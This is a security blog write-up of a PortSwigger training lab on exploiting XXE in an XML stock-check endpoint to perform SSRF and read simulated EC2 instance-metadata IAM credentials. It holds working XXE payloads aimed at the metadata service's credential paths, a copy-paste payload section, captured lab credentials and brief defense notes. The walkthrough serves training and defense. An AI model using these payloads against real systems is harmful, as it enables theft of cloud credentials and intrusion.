Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-15 · v1.0.0+2026-08-14.82f92cb · 82f92cb
← Back to overview
Security article

Exploiting XXE to perform SSRF attacks

Exploiting XXE to perform SSRF attacks: The Check stock endpoint parses XML and reflects unexpected values in the response. The lab simulates an EC2 instance metadata endpoint at http://169.254.169.254/. I’ll exploit XXE → SSRF to pull the instance’s IAM credentials from the metadata service and capture the secret access key. • PortSwigger • SSRF, XXE • ssrf, xxe

2022-11-092 tags
Tags

🎯 Objective

The Check stock endpoint parses XML and reflects unexpected values in the response. The lab simulates an EC2 instance metadata endpoint at http://169.254.169.254/. I’ll exploit XXE → SSRF to pull the instance’s IAM credentials from the metadata service and capture the secret access key.


🧩 What I’m exploiting

  • The endpoint accepts XML and expands external entities.
  • The expanded entity value is embedded in the response (in-band), so I can directly read the metadata content.
  • EC2 IMDSv1 paths of interest:
    • http://169.254.169.254/latest/meta-data/
    • http://169.254.169.254/latest/meta-data/iam/security-credentials/ (lists role names)
    • http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE-NAME> (JSON with keys)

🧭 My path (what I tried and saw)

1) Sanity-check: entity reflection

I confirmed the app reflects resolved entities inside the error message.

Request (probe)

http
POST /product/stock HTTP/1.1
Host: 0a35007704933802c07423d2003e0013.web-security-academy.net
Content-Type: application/xml
...

]> &foo; 1

Response (excerpt)

http
HTTP/1.1 400 Bad Request
...
"Invalid product ID: my test"

Another quick probe:

xml
]> &xxe;1

Response

http
HTTP/1.1 400 Bad Request
...
"Invalid product ID: test me"

So the parser is expanding what I reference and the app includes it in the error body — perfect for in-band data leaks.


2) Point the entity at IMDS (list IAM role name)

First fetch the role name from the security-credentials/ directory. I defined an external entity pointing at IMDS and referenced it in the XML body.

Working pattern

xml
<?xml version="1.0"?>
<!DOCTYPE stockCheck [
  <!ENTITY c SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<stockCheck>
  <productId>&c;</productId>
  <storeId>1</storeId>
</stockCheck>

Observed response (excerpt)

http
"Invalid product ID: meta-data"

(Depending on the lab instance you often see the role name here — e.g., admin or a GUID-like value.)


3) Pull the credentials JSON for that role

After learning the role name (call it ROLE), I pointed the entity directly at the role’s JSON document:

xml
<?xml version="1.0"?>
<!DOCTYPE stockCheck [
  <!ENTITY c SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE">
]>
<stockCheck>
  <productId>&c;</productId>
  <storeId>1</storeId>
</stockCheck>

Result (excerpt from my run)

json
{
  "Code": "Success",
  "LastUpdated": "2022-11-09T12:51:11.093838349Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "RM4Q1KELeOU27QEPfVGP",
  "SecretAccessKey": "qLUfMgP2yk8SjYBDIul1TbzP972D3Q3VBcycoqOF",
  "Token": "YLTbQHryrNEasMmQnf57EK3u...",
  "Expiration": "2028-11-07T12:51:11.093838349Z"
}

This value was reflected in the HTTP error text (e.g., "Invalid product ID: { ... }"), which is all I needed to solve the lab.


📎 Copy‑paste payloads (adapt ROLE after step 2)

List role name(s)

xml
<?xml version="1.0"?>
<!DOCTYPE stockCheck [
  <!ENTITY m SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<stockCheck><productId>&m;</productId><storeId>1</storeId></stockCheck>

Fetch credentials JSON

xml
<?xml version="1.0"?>
<!DOCTYPE stockCheck [
  <!ENTITY m SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE">
]>
<stockCheck><productId>&m;</productId><storeId>1</storeId></stockCheck>

URL‑encoded (example)

text
productId=%26m%3B&storeId=1

(Ensure the DOCTYPE/ENTITY is present at the top of the XML body; encode single quotes as %27 if injecting via a query string.)


🧪 Troubleshooting

  • No content leaked? Some instances require the entity to be put in the field that the app echoes (often productId). Try swapping columns or moving &m; into a different element.
  • Parser errors? Keep the DOCTYPE minimal; avoid stray ]>. Ensure there’s exactly one DOCTYPE and your XML is well‑formed.
  • IMDSv2? The lab simulates IMDSv1 (no session token header needed). Real AWS hosts often enforce IMDSv2, which blocks this simple approach.

🔒 Defense (notes to self)

  • Disable DTDs and external entities (XXE) in XML parsers; prefer safe bindings or JSON.
  • Enforce strict Content‑Type validation and schemas.
  • Deny egress to link-local addresses like 169.254.169.254 from app tiers or proxy them through allowlists.
  • Add SSRF protections and metadata‑service hardening (IMDSv2 with hop‑limit).

These are my notes and exact steps I used to solve the XXE → SSRF → EC2 metadata lab. The key is that the app reflects the expanded entity, making it an in-band leak.

Navigate

In this post

  1. 01🎯 Objective
  2. 02🧩 What I’m exploiting
  3. 03🧭 My path (what I tried and saw)
  4. 041) Sanity-check: entity reflection
  5. 052) Point the entity at IMDS (list IAM role name)
  6. 063) Pull the credentials JSON for that role
  7. 07📎 Copy‑paste payloads (adapt ROLE after step 2)
  8. 08🧪 Troubleshooting
  9. 09🔒 Defense (notes to self)
Search
Explore

Popular tags

Browse all 30 tags

Comments

0 comments

No comments yet — be the first to comment.